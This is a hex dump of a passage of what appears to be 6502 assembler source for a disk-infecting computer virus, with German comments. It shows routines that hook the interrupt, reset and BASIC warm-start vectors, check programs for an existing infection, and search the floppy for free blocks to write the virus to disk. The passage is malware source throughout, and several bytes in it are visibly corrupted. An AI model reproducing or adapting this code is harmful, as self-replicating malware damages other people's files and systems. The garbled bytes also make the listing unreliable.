00001030: 41 20 45 58 54 45 52 4E  2C 58 00 5F 18 4E 11 53  |A EXTERN,X._.N.S|
00001040: 54 41 20 4C 49 4E 4B 2C  58 20 20 3B 4C 49 4E 4B  |TA LINK,X  ;LINK|
00001050: AB 54 45 49 4C 20 4E 41  43 48 20 4C 49 4E 4B 00  |.TEIL NACH LINK.|
00001060: 79 18 58 11 44 45 58 20  20 20 20 20 20 20 20 20  |y.X.DEX         |
00001070: 3B 4B 4F 50 49 45 52 45  4E 00 84 18 62 11 42 50  |;KOPIEREN...b.BP|
00001080: 4C 20 52 31 00 8C 18 6C  11 52 54 53 00 AD 18 94  |L R1...l.RTS....|
00001090: 11 3B AB AB AB AB AB 5A  45 49 47 45 52 AB 53 45  |.;.....ZEIGER.SE|
000010A0: 54 5A 45 4E AB AB AB AB  AB AB AB B1 50 00 BE 18  |TZEN........P...|
000010B0: 99 11 50 4F B5 45 52 20  4C 44 41 20 93 50 00 C9  |..PO.ER LDA .P..|
000010C0: 18 9E 11 4C 44 41 20 93  50 00 D5 18 A3 11 43 4D  |...LDA .P.....CM|
000010D0: 50 20 23 B3 93 00 F8 18  A8 11 42 45 51 20 50 31  |P #.......BEQ P1|
000010E0: 20 20 20 20 20 20 3B 44  49 56 45 52 53 45 20 42  |      ;DIVERSE B|
000010F0: 45 54 52 49 45 42 53 AB  00 16 19 AD 11 53 54 41  |ETRIEBS......STA|
00001100: 20 93 AA 31 20 20 3B 9E  54 45 4D 20 5A 45 49 47  | ..1  ;.TEM ZEIG|
00001110: 45 52 20 41 55 46 00 33  19 B2 11 4C 44 41 20 23  |ER AUF.3...LDA #|
00001120: B3 93 20 20 3B 56 49 52  55 53 20 50 52 4F 47 52  |..  ;VIRUS PROGR|
00001130: 41 4D 4D 00 48 19 B7 11  53 54 41 20 93 50 20 20  |AMM.H...STA .P  |
00001140: 20 3B 53 45 54 5A 45 4E  00 58 19 BC 11 50 31 20  | ;SETZEN.X...P1 |
00001150: 4C 44 41 20 93 50 AA 31  00 74 19 C1 11 43 4D 50  |LDA .P.1.t...CMP|
00001160: 20 23 B1 93 20 20 3B 28  93 2C 94 2C 4E 4D 49 2C  | #..  ;(.,.,NMI,|
00001170: 49 52 51 2C 00 9B 19 C6  11 42 45 51 20 50 32 20  |IRQ,.....BEQ P2 |
00001180: 20 20 20 20 20 3B 52 45  53 45 54 2C 42 41 53 49  |     ;RESET,BASI|
00001190: 43 57 41 52 4D 53 54 41  52 54 2C 00 B5 19 CB 11  |CWARMSTART,.....|
000011A0: 53 54 41 20 93 AA 32 20  20 3B 42 52 45 41 4B 56  |STA ..2  ;BREAKV|
000011B0: 45 4B A4 52 29 00 C1 19  D0 11 4C 44 41 20 23 B1  |EK.R).....LDA #.|
000011C0: 93 00 CE 19 D5 11 53 54  41 20 93 50 AA 31 00 DC  |......STA .P.1..|
000011D0: 19 DA 11 50 32 20 4C 44  41 20 94 50 00 E8 19 DF  |...P2 LDA .P....|
000011E0: 11 43 4D 50 20 23 B3 94  00 F3 19 E4 11 42 45 51  |.CMP #.......BEQ|
000011F0: 20 50 33 00 FF 19 E9 11  53 54 41 20 94 AA 31 00  | P3.....STA ..1.|
00001200: 0B 1A EE 11 4C 44 41 20  23 B3 94 00 16 1A F3 11  |....LDA #.......|
00001210: 53 54 41 20 94 50 00 26  1A F8 11 50 33 20 4C 44  |STA .P.&...P3 LD|
00001220: 41 20 94 50 AA 31 00 32  1A FD 11 43 4D 50 20 23  |A .P.1.2...CMP #|
00001230: B1 94 00 3D 1A 02 12 42  45 51 20 50 34 00 49 1A  |...=...BEQ P4.I.|
00001240: 07 12 53 54 41 20 94 AA  32 00 55 1A 0C 12 4C 44  |..STA ..2.U...LD|
00001250: 41 20 23 B1 94 00 62 1A  11 12 53 54 41 20 94 50  |A #...b...STA .P|
00001260: AA 31 00 73 1A 16 12 50  34 20 4C 44 41 20 57 41  |.1.s...P4 LDA WA|
00001270: 52 4D 50 00 82 1A 1B 12  43 4D 50 20 23 B3 42 57  |RMP.....CMP #.BW|
00001280: 53 31 00 8D 1A 20 12 42  45 51 20 50 35 00 9C 1A  |S1... .BEQ P5...|
00001290: 25 12 53 54 41 20 42 57  53 32 AA 31 00 AB 1A 2A  |%.STA BWS2.1...*|
000012A0: 12 4C 44 41 20 23 B3 42  57 53 31 00 B9 1A 2F 12  |.LDA #.BWS1.../.|
000012B0: 53 54 41 20 57 41 52 4D  50 00 CC 1A 34 12 50 35  |STA WARMP...4.P5|
000012C0: 20 4C 44 41 20 57 41 52  4D 50 AA 31 00 DB 1A 39  | LDA WARMP.1...9|
000012D0: 12 43 4D 50 20 23 B1 42  57 53 31 00 E6 1A 3E 12  |.CMP #.BWS1...>.|
000012E0: 42 45 51 20 50 36 00 F5  1A 43 12 53 54 41 20 42  |BEQ P6...C.STA B|
000012F0: 57 53 32 AA 32 00 04 1B  48 12 4C 44 41 20 23 B1  |WS2.2...H.LDA #.|
00001300: 42 57 53 31 00 14 1B 4D  12 53 54 41 20 57 41 52  |BWS1...M.STA WAR|
00001310: 4D 50 AA 31 00 24 1B 52  12 50 36 20 4C 44 41 20  |MP.1.$.R.P6 LDA |
00001320: 4E 4D 49 50 00 33 1B 57  12 43 4D 50 20 23 B3 4E  |NMIP.3.W.CMP #.N|
00001330: 4D 49 31 00 3E 1B 5C 12  42 45 51 20 50 39 00 4D  |MI1.>.\.BEQ P9.M|
00001340: 1B 61 12 53 54 01 20 4E  4D 49 32 AA 31 00 5C 1B  |.a.ST. NMI2.1.\.|
00001350: 66 12 4C 44 41 20 23 B3  4E 4D 49 31 00 69 1B 6B  |f.LDA #.NMI1.i.k|
00001360: 12 53 54 41 20 4E 4D 49  50 00 7B 1B 70 12 50 39  |.STA NMIP.{.p.P9|
00001370: 20 4C 44 41 20 4E 4D 49  50 AA 31 00 8A 1B 75 12  | LDA NMIP.1...u.|
00001380: 43 4D 50 20 23 B1 4E 4D  49 31 00 96 1B 7A 12 42  |CMP #.NMI1...z.B|
00001390: 45 51 20 50 31 30 00 A5  1B 7F 12 53 54 41 20 4E  |EQ P10.....STA N|
000013A0: 4D 49 32 AA 32 00 B4 1B  84 12 4C 44 41 20 23 B1  |MI2.2.....LDA #.|
000013B0: 4E 4D 49 31 00 C3 1B 89  12 53 54 41 20 4E 4D 49  |NMI1.....STA NMI|
000013C0: 50 AA 31 00 D6 1B 8E 12  50 31 30 20 4C 44 41 20  |P.1.....P10 LDA |
000013D0: 23 B3 4E 4D 49 31 00 E5  1B 93 12 53 54 41 20 42  |#.NMI1.....STA B|
000013E0: 52 45 41 4B 50 00 F4 1B  98 12 4C 44 41 20 23 B1  |REAKP.....LDA #.|
000013F0: 4E 4D 49 31 00 05 1C 9D  12 53 54 41 20 42 52 45  |NMI1.....STA BRE|
00001400: 41 4B 50 AA 31 00 15 1C  A2 12 4C 44 41 20 23 B3  |AKP.1.....LDA #.|
00001410: 52 45 53 45 54 00 23 1C  AC 12 53 54 41 20 24 46  |RESET.#...STA $F|
00001420: 46 46 43 00 33 1C B6 12  4C 44 41 20 23 B1 52 45  |FFC.3...LDA #.RE|
00001430: 53 45 54 00 41 1C C0 12  53 54 41 20 24 46 46 46  |SET.A...STA $FFF|
00001440: 44 00 49 1C CA 12 52 54  53 00 69 1C 24 13 3B AB  |D.I...RTS.i.$.;.|
00001450: AB 5A 45 49 47 45 52 AB  5A 55 52 55 45 43 4B 53  |.ZEIGER.ZURUECKS|
00001460: 45 54 5A 05 4E AB AB AB  B1 00 77 1C 29 13 8C 20  |ETZ.N.....w.).. |
00001470: 4C 44 41 20 93 AA 31 00  97 1C 2E 13 53 54 41 20  |LDA ..1.....STA |
00001480: 93 50 20 20 20 3B 44 49  56 45 52 53 45 20 42 45  |.P   ;DIVERSE BE|
00001490: 54 52 49 45 42 53 AB 00  B4 1C 33 13 4C 44 41 20  |TRIEBS....3.LDA |
000014A0: 93 AA 32 20 20 3B 9E 54  45 4D 5A 45 49 47 45 52  |..2  ;.TEMZEIGER|
000014B0: 20 41 55 46 00 D0 1C 38  13 53 54 41 20 93 50 AA  | AUF...8.STA .P.|
000014C0: 31 20 3B B0 47 49 4E 41  4C 41 44 52 45 53 53 45  |1 ;.GINALADRESSE|
000014D0: 00 EC 1C 3D 13 4C 44 41  20 94 AA 31 20 20 3B 5A  |...=.LDA ..1  ;Z|
000014E0: 55 52 55 45 43 4B 53 45  54 5A 45 4E 00 08 1D 42  |URUECKSETZEN...B|
000014F0: 13 53 54 41 20 94 50 20  20 20 3B 28 93 2C 94 2C  |.STA .P   ;(.,.,|
00001500: 4E 4D 49 2C 49 52 51 2C  00 26 1D 47 13 4C 44 41  |NMI,IRQ,.&.G.LDA|
00001510: 20 94 AA 32 20 20 3B 42  41 53 49 43 57 41 52 4D  | ..2  ;BASICWARM|
00001520: 53 54 41 52 54 29 00 33  1D 4C 13 53 54 41 20 94  |START).3.L.STA .|
00001530: 50 AA 31 00 42 1D 51 13  4C 44 41 20 42 57 53 32  |P.1.B.Q.LDA BWS2|
00001540: AA 31 00 50 1D 56 13 53  54 41 20 57 41 52 4D 50  |.1.P.V.STA WARMP|
00001550: 00 5F 1D 5B 13 4C 44 41  20 42 57 53 32 AA 32 00  |._.[.LDA BWS2.2.|
00001560: 6F 1D 60 13 53 54 41 20  57 41 52 4D 50 AA 31 00  |o.`.STA WARMP.1.|
00001570: 7E 1D 65 13 4C 44 41 20  4E 4D 49 32 AA 31 00 8B  |~.e.LDA NMI2.1..|
00001580: 1D 6A 13 53 54 41 20 4E  4D 49 50 00 9A 1D 6F 13  |.j.STA NMIP...o.|
00001590: 4C 44 41 20 4E 4D 49 32  AA 32 00 A9 1D 74 13 53  |LDA NMI2.2...t.S|
000015A0: 54 41 20 4E 4D 49 50 AA  31 00 B1 1D 79 13 52 54  |TA NMIP.1...y.RT|
000015B0: 53 00 D5 1D 70 17 3B AB  AB AB AB AB AB 56 49 52  |S...p.;......VIR|
000015C0: 55 53 AB 0B 4F 50 49 45  52 45 4E AB AB AB AB AB  |US..OPIEREN.....|
000015D0: B1 4A 55 4D 50 00 E9 1D  7A 17 44 4F 49 54 20 4C  |.JUMP...z.DOIT L|
000015E0: 44 41 20 53 54 41 54 55  53 00 09 1E 84 17 50 48  |DA STATUS.....PH|
000015F0: 41 20 20 20 20 20 20 20  20 20 20 3B 53 54 41 54  |A          ;STAT|
00001600: 55 53 20 52 45 54 54 45  4E 00 16 1E 8E 17 4C 44  |US RETTEN.....LD|
00001610: 58 20 23 24 30 35 00 2B  1E 98 17 4A 55 4D 50 31  |X #$05.+...JUMP1|
00001620: 32 20 4C 44 41 20 50 41  52 2C 58 00 33 1E A2 17  |2 LDA PAR,X.3...|
00001630: 50 48 41 00 53 1E AC 17  44 45 58 20 20 20 20 20  |PHA.S...DEX     |
00001640: 20 20 20 20 20 3B 53 50  45 49 43 48 45 52 53 54  |     ;SPEICHERST|
00001650: 45 4C C3 00 76 1E B6 17  42 50 4C 20 4A 55 4D 50  |EL..v...BPL JUMP|
00001660: 31 32 20 20 20 3B 41 55  46 20 53 54 41 43 4B 20  |12   ;AUF STACK |
00001670: 52 45 54 54 45 4E 00 89  1E C0 17 4C 44 58 20 23  |RETTEN.....LDX #|
00001680: 31 33 AA 42 4C 4F 43 4B  53 00 9E 1E CA 17 4A 55  |13.BLOCKS.....JU|
00001690: 4D 50 31 33 20 4C 44 41  20 4D 45 4D 2C 58 00 A6  |MP13 LDA MEM,X..|
000016A0: 1E D4 17 50 48 41 00 AE  1E DE 17 44 45 58 00 BD  |...PHA.....DEX..|
000016B0: 1E E8 17 42 50 4C 20 4A  55 4D 50 31 33 00 D7 1E  |...BPL JUMP13...|
000016C0: 06 18 4C 44 41 20 23 30  20 20 20 20 20 20 20 3B  |..LDA #0       ;|
000016D0: 46 4C 4F 50 50 59 AB 00  E9 1E 10 18 4A 53 52 20  |FLOPPY......JSR |
000016E0: 48 41 43 B5 4F 53 48 20  3B 00 07 1F 1A 18 4C 44  |HAC.OSH ;.....LD|
000016F0: 58 20 23 24 36 46 20 20  20 20 20 3B 4B 4F 4D 4D  |X #$6F     ;KOMM|
00001700: AF 4F 4B 41 4E 41 4C 00  1A 1F 24 18 53 54 58 20  |.OKANAL...$.STX |
00001710: 53 45 4B 20 20 20 20 20  20 3B 00 33 1F 2E 18 4A  |SEK      ;.3...J|
00001720: 53 52 20 48 41 4E 53 20  20 20 20 20 3B 4F 45 46  |SR HANS     ;OEF|
00001730: A5 45 4E 00 54 1F 38 18  4C 44 41 20 23 31 20 20  |.EN.T.8.LDA #1  |
00001740: 20 20 20 20 20 3B 5A 55  88 5A 54 42 45 4E 55 54  |     ;ZU.ZTBENUT|
00001750: 5A 54 45 53 00 6B 1F 42  18 4C 44 58 20 23 B3 4E  |ZTES.k.B.LDX #.N|
00001760: 41 4D 45 20 20 20 3B 46  49 4C 45 00 7E 1F 4C 18  |AME   ;FILE.~.L.|
00001770: 4C 44 59 20 23 B1 4E 41  4D 45 20 20 20 3B 00 90  |LDY #.NAME   ;..|
00001780: 1F 56 18 4A 53 52 20 48  41 43 B5 4F 53 48 20 3B  |.V.JSR HAC.OSH ;|
00001790: 00 A3 1F 60 18 4C 44 41  20 23 24 36 30 20 20 20  |...`.LDA #$60   |
000017A0: 20 20 3B 00 B6 1F 6A 18  53 54 41 20 53 45 4B 20  |  ;...j.STA SEK |
000017B0: 20 20 20 20 20 3B 00 C9  1F 74 18 4A 53 52 20 48  |     ;...t.JSR H|
000017C0: 41 4E 53 20 20 20 20 20  3B 00 D7 1F 7E 18 4A 53  |ANS     ;...~.JS|
000017D0: 52 20 53 54 41 4C 4B 00  EE 1F 88 18 4A 53 52 20  |R STALK.....JSR |
000017E0: 42 48 50 20 20 20 20 20  20 3B 41 44 52 4C 00 FD  |BHP      ;ADRL..|
000017F0: 1F 92 18 43 4D 50 20 42  41 53 49 43 53 00 07 20  |...CMP BASICS.. |
00001800: 9C 18 42 4E 45 20 80 00  1E 20 A6 18 4A 53 52 20  |..BNE ... ..JSR |
00001810: 42 48 50 20 20 20 20 20  20 3B 41 04 52 48 00 2F  |BHP      ;A.RH./|
00001820: 20 B0 18 43 4D 50 20 42  41 53 49 43 53 AA 31 00  | ..CMP BASICS.1.|
00001830: 39 20 BA 18 42 4E 45 20  80 00 58 20 C4 18 4C 44  |9 ..BNE ..X ..LD|
00001840: 41 20 23 35 20 20 20 20  20 20 20 3B 57 45 4E 4E  |A #5       ;WENN|
00001850: 20 52 49 43 48 54 49 47  00 7E 20 CE 18 53 54 41  | RICHTIG.~ ..STA|
00001860: 20 43 4F 55 4E 54 20 20  20 20 3B 4C 45 53 45 20  | COUNT    ;LESE |
00001870: 4C 49 4E 4B 2C 4C 49 4E  45 2C A4 4B 45 4E 00 90  |LINK,LINE,.KEN..|
00001880: 20 D8 18 4C 4F 4F 50 31  20 4A 53 52 20 42 48 50  | ..LOOP1 JSR BHP|
00001890: 00 9E 20 E2 18 44 45 43  20 43 4F 55 4E 54 00 AC  |.. ..DEC COUNT..|
000018A0: 20 EC 18 42 4E 45 20 4C  4F 4F 50 31 00 B4 20 F6  | ..BNE LOOP1.. .|
000018B0: 18 54 41 58 00 D7 20 00  19 4C 44 41 20 53 54 41  |.TAX.. ..LDA STA|
000018C0: 54 55 53 20 20 20 3B 46  45 48 4C 45 52 20 41 55  |TUS   ;FEHLER AU|
000018D0: 46 A1 52 45 54 45 4E 00  DF 20 0A 19 4C 53 52 00  |F.RETEN.. ..LSR.|
000018E0: E7 20 14 19 4C 53 52 00  0A 21 1E 19 42 43 53 20  |. ..LSR..!..BCS |
000018F0: 80 20 20 20 20 20 20 3B  4A 41 20 20 20 20 20 20  |.      ;JA      |
00001900: 20 20 20 20 20 20 20 AB  AB B1 00 25 21 28 19 43  |       ....%!(.C|
00001910: 50 58 20 23 24 39 45 20  20 20 20 20 3B 9E AB 42  |PX #$9E     ;..B|
00001920: 45 46 45 48 4C 00 4A 21  32 19 42 4E 45 20 4A 55  |EFEHL.J!2.BNE JU|
00001930: 4D 50 31 20 20 20 20 3B  4E 45 49 4E 2C 20 42 41  |MP1    ;NEIN, BA|
00001940: 53 49 43 50 52 47 20 AB  AB B1 00 6C 21 3C 19 4C  |SICPRG ....l!<.L|
00001950: 44 41 20 23 30 20 20 20  20 20 20 20 3B 54 45 53  |DA #0       ;TES|
00001960: 54 45 20 41 55 46 20 56  49 52 55 53 00 7A 21 46  |TE AUF VIRUS.z!F|
00001970: 19 53 54 41 20 43 4F 55  4E 54 00 8C 21 50 19 4C  |.STA COUNT..!P.L|
00001980: 4F 4F 50 32 20 4A 53 52  20 42 48 50 00 9A 21 5A  |OOP2 JSR BHP..!Z|
00001990: 19 4C 44 58 20 43 4F 55  4E 54 00 AA 21 64 19 43  |.LDX COUNT..!d.C|
000019A0: 4D 50 20 56 49 52 55 53  2C 58 00 B8 21 6E 19 42  |MP VIRUS,X..!n.B|
000019B0: 4E 45 20 4A 55 4D 50 31  00 C0 21 78 19 49 4E 58  |NE JUMP1..!x.INX|
000019C0: 00 CE 21 82 19 53 54 58  20 43 4F 55 4E 54 00 DA  |..!..STX COUNT..|
000019D0: 21 8C 19 43 50 58 20 23  32 37 00 E8 21 96 19 42  |!..CPX #27..!..B|
000019E0: 4E 45 20 4C 4F 4F 50 32  00 0B 22 A0 19 80 20 4A  |NE LOOP2.."... J|
000019F0: 4D 50 20 42 59 45 20 20  3B 50 52 47 20 53 43 48  |MP BYE  ;PRG SCH|
00001A00: 91 20 56 45 52 53 45 55  43 48 54 00 1F 22 AA 19  |. VERSEUCHT.."..|
00001A10: 4A 55 4D 50 31 20 4A 53  52 20 53 55 48 41 4C 00  |JUMP1 JSR SUHAL.|
00001A20: 43 22 B4 19 4C 44 41 20  23 22 52 22 20 20 20 20  |C"..LDA #"R"    |
00001A30: 20 3B 53 43 48 41 4C 54  45 20 41 55 46 20 4C 45  | ;SCHALTE AUF LE|
00001A40: 53 45 AB 00 5B 22 BE 19  53 54 41 20 44 4F 20 20  |SE..["..STA DO  |
00001A50: 20 20 20 20 20 3B 4D 4F  44 55 53 00 68 22 C8 19  |     ;MODUS.h"..|
00001A60: 4C 44 58 20 23 24 36 46  00 74 22 D2 19 53 54 58  |LDX #$6F.t"..STX|
00001A70: 20 53 45 4B 00 96 22 DC  19 4C 44 58 20 23 24 46  | SEK.."..LDX #$F|
00001A80: 39 20 20 20 20 20 3B 5A  55 88 5A 54 20 42 45 4E  |9     ;ZU.ZT BEN|
00001A90: 55 54 5A 54 45 4E 00 B7  22 E6 19 4C 44 59 20 23  |UTZTEN.."..LDY #|
00001AA0: 30 20 20 20 20 20 20 20  3B 50 55 46 46 45 52 20  |0       ;PUFFER |
00001AB0: 45 52 4D 49 54 54 C3 00  C2 22 F0 19 4C 44 41 20  |ERMITT..."..LDA |
00001AC0: 23 31 00 D0 22 FA 19 4A  53 52 20 4D 45 4D B0 59  |#1.."..JSR MEM.Y|
00001AD0: 00 E1 22 04 1A 4A 53 52  20 47 41 52 46 49 45 4C  |.."..JSR GARFIEL|
00001AE0: 44 00 EF 22 0E 1A 4A 53  52 20 53 54 41 4C 4B 00  |D.."..JSR STALK.|
00001AF0: 0D 23 18 1A 4A 53 52 20  42 48 50 20 20 20 20 20  |.#..JSR BHP     |
00001B00: 20 3B 48 4F 4C 45 20 50  55 46 46 45 52 00 15 23  | ;HOLE PUFFER..#|
00001B10: 22 1A 50 48 41 00 23 23  2C 1A 4A 53 52 20 53 55  |".PHA.##,.JSR SU|
00001B20: 48 41 4C 00 2B 23 36 1A  50 4C 41 00 4E 23 40 1A  |HAL.+#6.PLA.N#@.|
00001B30: 53 54 41 20 4A 4F 42 20  20 20 20 20 20 3B 42 45  |STA JOB      ;BE|
00001B40: 52 45 43 48 4E 45 20 44  49 56 45 52 53 45 00 6A  |RECHNE DIVERSE.j|
00001B50: 23 4A 1A 43 4C 43 20 20  20 20 20 20 20 20 20 20  |#J.CLC          |
00001B60: 3B 50 41 52 41 4D 45 54  45 52 00 75 23 54 1A 41  |;PARAMETER.u#T.A|
00001B70: 44 43 20 23 33 00 98 23  5E 1A 53 54 41 20 41 44  |DC #3..#^.STA AD|
00001B80: 52 20 20 20 20 20 20 3B  08 49 47 48 AB 42 59 54  |R      ;.IGH.BYT|
00001B90: 45 20 50 55 46 46 45 52  00 A4 23 68 1A 4C 44 41  |E PUFFER..#h.LDA|
00001BA0: 20 4A 4F 42 00 AC 23 72  1A 41 53 4C 00 CF 23 7C  | JOB..#r.ASL..#||
00001BB0: 1A 41 44 43 20 23 36 20  20 20 20 20 20 20 3B 54  |.ADC #6       ;T|
00001BC0: 52 41 43 4B 26 53 45 43  A4 52 20 46 55 45 52 00  |RACK&SEC.R FUER.|
00001BD0: E5 23 86 1A 54 41 58 20  20 20 20 20 20 20 20 20  |.#..TAX         |
00001BE0: 20 3B 4A 4F 42 00 F4 23  90 1A 53 54 58 20 50 55  | ;JOB..#..STX PU|
00001BF0: 46 46 45 52 00 FF 23 9A  1A 4C 44 59 20 23 30 00  |FFER..#..LDY #0.|
00001C00: 1D 24 A4 1A 4C 04 41 20  23 32 20 20 20 20 20 20  |.$..L.A #2      |
00001C10: 20 3B 48 4F 4C 45 20 53  54 41 52 54 AB 00 3D 24  | ;HOLE START..=$|
00001C20: AE 1A 4A 53 52 20 4D 45  4D B0 59 20 20 20 3B 54  |..JSR MEM.Y   ;T|
00001C30: 52 41 43 4B 20 26 20 AB  53 45 43 A4 52 00 4E 24  |RACK & .SEC.R.N$|
00001C40: B8 1A 4A 53 52 20 47 41  52 46 49 45 4C 44 00 5C  |..JSR GARFIELD.\|
00001C50: 24 C2 1A 4A 53 52 20 53  54 41 4C 4B 00 79 24 CC  |$..JSR STALK.y$.|
00001C60: 1A 4A 53 52 20 42 48 50  20 20 20 20 20 20 3B 53  |.JSR BHP      ;S|
00001C70: 54 41 52 54 54 52 41 43  4B 00 95 24 D6 1A 53 54  |TARTTRACK..$..ST|
00001C80: 41 20 54 52 41 43 4B 20  20 20 20 3B 53 50 45 49  |A TRACK    ;SPEI|
00001C90: 43 48 45 52 4E 00 B2 24  E0 1A 4A 53 52 20 42 48  |CHERN..$..JSR BH|
00001CA0: 50 20 20 20 20 20 20 3B  53 54 01 52 54 53 45 43  |P      ;ST.RTSEC|
00001CB0: A4 52 00 CD 24 EA 1A 53  54 41 20 53 45 43 A4 52  |.R..$..STA SEC.R|
00001CC0: 20 20 20 3B 53 50 45 49  43 48 45 52 4E 00 DB 24  |   ;SPEICHERN..$|
00001CD0: F4 1A 4A 53 52 20 53 55  48 41 4C 00 FC 24 FE 1A  |..JSR SUHAL..$..|
00001CE0: 4C 44 41 20 54 52 41 43  4B 20 20 20 20 3B 44 49  |LDA TRACK    ;DI|
00001CF0: 52 45 43 A4 52 59 20 4E  49 43 48 54 00 19 25 08  |REC.RY NICHT..%.|
00001D00: 1B 43 4D 50 20 23 31 38  20 20 20 20 20 20 3B 56  |.CMP #18      ;V|
00001D10: 45 52 53 45 55 43 48 45  4E 00 23 25 12 1B 42 45  |ERSEUCHEN.#%..BE|
00001D20: 51 20 80 00 46 25 1C 1B  4C 44 58 20 23 24 30 45  |Q ..F%..LDX #$0E|
00001D30: 20 20 20 20 20 3B 50 52  55 45 46 45 20 4F 42 20  |     ;PRUEFE OB |
00001D40: 42 41 4D 20 49 4D 00 6A  25 26 1B 4C 44 59 20 23  |BAM IM.j%&.LDY #|
00001D50: 24 30 30 20 20 20 20 20  3B 46 4C 4F 50 50 59 AB  |$00     ;FLOPPY.|
00001D60: 52 41 4D 20 56 B0 48 AF  45 4E 00 80 25 30 1B 4C  |RAM V.H.EN..%0.L|
00001D70: 44 41 20 23 32 20 20 20  20 20 20 20 3B 49 53 54  |DA #2       ;IST|
00001D80: 00 8E 25 3A 1B 4A 53 52  20 4D 45 4D B0 59 00 9F  |..%:.JSR MEM.Y..|
00001D90: 25 44 1B 4A 53 52 20 47  41 52 46 49 45 4C 44 00  |%D.JSR GARFIELD.|
00001DA0: AD 25 4E 1B 4A 53 52 20  53 54 41 4C 4B 00 B9 25  |.%N.JSR STALK..%|
00001DB0: 58 1B 4A 53 52 20 42 48  50 00 DA 25 62 1B 43 4D  |X.JSR BHP..%b.CM|
00001DC0: 50 20 23 31 38 20 20 20  20 20 20 3B 44 49 52 45  |P #18      ;DIRE|
00001DD0: 43 A4 52 59 AB 54 52 41  43 4B 00 FC 25 6C 1B 42  |C.RY.TRACK..%l.B|
00001DE0: 4E 45 20 80 20 20 20 20  20 20 3B 4E 45 49 4E 20  |NE .      ;NEIN |
00001DF0: 20 AB AB B1 20 44 41 4E  4E 20 80 45 00 08 26 76  | ... DANN .E..&v|
00001E00: 1B 4A 53 52 20 42 48 50  00 24 26 80 1B 43 4D 50  |.JSR BHP.$&..CMP|
00001E10: 20 23 30 20 20 20 20 20  20 20 3B 42 41 4D AB 53  | #0       ;BAM.S|
00001E20: 45 43 A4 52 00 46 26 8A  1B 42 4E 45 20 80 20 20  |EC.R.F&..BNE .  |
00001E30: 20 20 20 20 3B 4E 45 49  4E 20 20 AB AB B1 20 44  |    ;NEIN  ... D|
00001E40: 41 4E 4E 20 80 45 00 54  26 94 1B 4A 53 52 20 53  |ANN .E.T&..JSR S|
00001E50: 55 48 41 4C 00 77 26 9E  1B 4C 44 58 20 23 24 30  |UHAL.w&..LDX #$0|
00001E60: 30 20 20 20 20 20 3B 53  55 43 48 45 20 50 4C 41  |0     ;SUCHE PLA|
00001E70: 54 5A 20 46 55 45 52 00  8F 26 A8 1B 4A 55 4D 50  |TZ FUER..&..JUMP|
00001E80: 33 20 53 54 58 20 58 20  20 3B 56 49 52 55 53 00  |3 STX X  ;VIRUS.|
00001E90: 97 26 B2 1B 54 58 41 00  BE 26 BC 1B 4C 53 52 20  |.&..TXA..&..LSR |
00001EA0: 20 20 20 20 20 20 20 20  20 3B 50 52 55 45 46 45  |         ;PRUEFE|
00001EB0: 20 55 4E 54 45 52 53 54  45 53 20 42 49 54 00 E1  | UNTERSTES BIT..|
00001EC0: 26 C6 1B 53 54 41 20 43  4F 55 4E 54 20 20 20 20  |&..STA COUNT    |
00001ED0: 3B 57 45 4E 4E 20 42 49  54 B2 30 20 53 55 43 48  |;WENN BIT.0 SUCH|
00001EE0: 45 00 FE 26 D0 1B 42 43  43 20 4A 55 4D 50 39 20  |E..&..BCC JUMP9 |
00001EF0: 20 20 20 3B 4E 41 43 48  20 49 4E 4E 45 4E 00 1E  |   ;NACH INNEN..|
00001F00: 27 DA 1B 4C 44 41 20 54  52 41 43 0B 20 20 20 20  |'..LDA TRAC.    |
00001F10: 3B AF 45 52 46 41 4C 4C  53 20 4E 41 43 48 00 37  |;.ERFALLS NACH.7|
00001F20: 27 E4 1B 53 42 43 20 43  4F 55 4E 54 20 20 20 20  |'..SBC COUNT    |
00001F30: 3B 41 55 53 53 45 4E 00  46 27 EE 1B 4A 4D 50 20  |;AUSSEN.F'..JMP |
00001F40: 4A 55 4D 50 31 30 00 5B  27 F8 1B 4A 55 4D 50 39  |JUMP10.['..JUMP9|
00001F50: 20 20 41 44 43 20 54 52  41 43 4B 00 71 27 02 1C  |  ADC TRACK.q'..|
00001F60: 4A 55 4D 50 31 30 20 53  54 41 20 56 54 52 41 43  |JUMP10 STA VTRAC|
00001F70: 4B 00 90 27 0C 1C 42 45  51 20 4A 55 4D 50 31 36  |K..'..BEQ JUMP16|
00001F80: 20 20 20 3B 53 50 55 52  B1 33 35 20 4F 44 45 52  |   ;SPUR.35 ODER|
00001F90: 00 B7 27 16 1C 43 4D 50  20 23 33 36 20 20 20 20  |..'..CMP #36    |
00001FA0: 20 20 3B B3 31 20 44 41  4E 4E 20 57 45 49 54 45  |  ;.1 DANN WEITE|
00001FB0: 52 53 55 43 48 45 4E 00  C6 27 20 1C 42 43 53 20  |RSUCHEN..' .BCS |
00001FC0: 4A 55 4D 50 31 36 00 E5  27 2A 1C 43 4D 50 20 23  |JUMP16..'*.CMP #|
00001FD0: 31 38 20 20 20 20 20 20  3B 44 49 52 45 43 A4 52  |18      ;DIREC.R|
00001FE0: 59 53 50 55 52 00 F4 27  34 1C 42 45 51 20 4A 55  |YSPUR..'4.BEQ JU|
00001FF0: 4D 50 31 36 00 12 28 3E  1C 4A 53 52 20 42 53 45  |MP16..(>.JSR BSE|
00002000: 4C 45 43 54 20 20 3B 53  55 43 48 45 20 50 4C 41  |LECT  ;SUCHE PLA|
00002010: 54 5A 00 23 28 48 1C 4A  53 52 20 47 41 52 46 49  |TZ.#(H.JSR GARFI|
00002020: 45 4C 44 00 31 28 52 1C  4A 53 52 20 53 54 41 4C  |ELD.1(R.JSR STAL|
00002030: 4B 00 3D 28 5C 1C 4A 53  52 20 42 48 50 00 5E 28  |K.=(\.JSR BHP.^(|
00002040: 66 1C 43 4D 50 20 23 42  4C 4F 43 4B 53 20 20 3B  |f.CMP #BLOCKS  ;|
00002050: 50 4C 41 54 5A 20 47 45  46 55 4E 44 45 4E 00 76  |PLATZ GEFUNDEN.v|
00002060: 28 70 1C 42 43 53 20 4A  55 4D 50 34 20 20 20 20  |(p.BCS JUMP4    |
00002070: 3B 4A 41 AB AB B1 00 84  28 7A 1C 4A 53 52 20 53  |;JA.....(z.JSR S|
00002080: 55 48 41 4C 00 95 28 84  1C 4A 55 4D 50 31 36 20  |UHAL..(..JUMP16 |
00002090: 4C 44 58 20 58 00 B9 28  8E 1C 49 4E 58 20 20 20  |LDX X..(..INX   |
000020A0: 20 20 20 20 20 20 20 3B  50 52 55 45 46 45 20 4F  |       ;PRUEFE O|
000020B0: 42 20 57 45 49 54 45 52  45 00 D8 28 98 1C 43 50  |B WEITERE..(..CP|
